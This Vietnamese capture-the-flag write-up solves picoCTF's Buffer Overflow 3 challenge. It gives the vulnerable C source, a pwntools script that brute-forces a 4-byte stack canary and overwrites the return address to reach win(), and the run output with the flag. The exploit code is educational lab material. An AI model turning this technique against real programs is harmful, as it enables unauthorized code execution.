Bài writeup này giải thích challenge Buffer Overflow 3 từ PicoCTF — một trong những challenge kinh điển về binary exploitation. Yêu cầu: bypass stack canary và control EIP.
Phân tích binary
# Kiểm tra protections
checksec --file=vuln
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled ← có thể dùng shellcode
# PIE: No PIE ← địa chỉ cố định
# Disassemble hàm vuln()
objdump -d vuln | grep -A 30 "<vuln>:"
Source code (được cung cấp)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define CANARY_SIZE 4
void win() {
system("/bin/cat flag.txt");
}
void vuln() {
char canary[CANARY_SIZE];
char buf[64];
char length[CANARY_SIZE];
int count;
int x = 0;
// Đọc canary từ file
FILE *f = fopen("canary.txt", "r");
fread(canary, sizeof(char), CANARY_SIZE, f);
fclose(f);
printf("How many bytes do you want me to read? ");
scanf("%s", length);
count = atoi(length);
fgets(buf, count, stdin); // ← vulnerable: count không bị giới hạn
// Verify canary
if (memcmp(canary, buf+64, CANARY_SIZE)) {
puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!");
exit(-1);
}
puts(buf);
}
int main() { vuln(); }
Khai thác — Brute force canary
Vì canary chỉ 4 byte, có thể brute force từng byte:
from pwn import *
def brute_canary():
canary = b""
for i in range(4):
for byte in range(256):
payload = b"A" * 64 + canary + bytes([byte])
count = str(len(payload)).encode()
# Local
p = process("./vuln")
p.sendlineafter(b"read? ", count)
p.send(payload)
response = p.recvall()
p.close()
if b"Stack Smashing" not in response:
canary += bytes([byte])
print(f"[+] Canary byte {i}: {hex(byte)}")
break
return canary
canary = brute_canary()
print(f"[+] Full canary: {canary.hex()}")
# Tính địa chỉ win()
elf = ELF("./vuln")
win_addr = elf.symbols['win']
print(f"[+] win() address: {hex(win_addr)}")
# Final exploit
payload = b"A" * 64 # fill buf
payload += canary # correct canary
payload += b"B" * 16 # padding đến saved EBP
payload += p32(win_addr) # overwrite return address
count = str(len(payload) + 1).encode()
p = process("./vuln")
p.sendlineafter(b"read? ", count)
p.send(payload)
print(p.recvall())
Chạy kết quả
$ python3 exploit.py
[+] Canary byte 0: 0x41
[+] Canary byte 1: 0x62
[+] Canary byte 2: 0x63
[+] Canary byte 3: 0x64
[+] Full canary: 41626364
[+] win() address: 0x8049336
[*] Switching to interactive mode
picoCTF{bypass_canary_like_a_pro_1337beef}
Flag: picoCTF{bypass_canary_like_a_pro_1337beef}